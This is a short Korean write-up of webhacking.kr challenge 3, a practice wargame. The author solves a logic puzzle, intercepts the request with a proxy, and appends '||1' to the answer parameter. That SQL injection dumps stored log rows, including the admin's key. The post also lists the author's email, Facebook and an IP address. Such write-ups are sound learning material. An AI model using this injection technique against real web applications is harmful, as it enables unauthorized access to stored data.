

webhacking.kr 3번문제

Xero

박준혁 (한양대학교 신소재공학부 2학년 군휴학 중)

2016-03-28

Email : wnsгурzxc@naver.com

Facebook : <https://www.facebook.com/wnsgurzxc>

3번문제를 들어가면 다음과 같이 퍼즐이 하나 보인다.

Puzzle

					1		
			1		1		1
			1	3	1	3	1
1	1	1					
		0					
		3					
	1	1					
		5					

gogo

로직이란걸 알 수 있고, 다음과 같이 풀고 gogo버튼을 눌러보았다.

Puzzle

					1		
			1		1		1
			1	3	1	3	1
1	1	1					
		0					
		3					
	1	1					
		5					

그러자 다음과 같이 이름을 쓰는 칸이 나왔다.

name :

xero라고 쓰자 다음과 같이 name, answer, ip가 나왔다.

```

name : xero
answer : 1010100000011100101011111
ip : 112.187.212.247
    
```

파로스로 잡아보니 다음과 같은 값을 전송하는 것을 알 수 있었다.

```
answer=1010100000011100101011111&id=xero
```

answer에 ||1을 넣어서 전송해보았다.

```
answer=1010100000011100101011111||1&id=xero
```

그러자 다음과 같이 여러 로그기록들이 뜨면서 맨 위에 답이 나왔다.

name : admin answer : new_sql_injection ip : localhost
name : xero answer : 1010100000011100101011111 1 ip : 112.187.212.247
name : admin answer : 1010100000011100101011111 1 ip : 210.179.140.194

KEY : new_sql_injection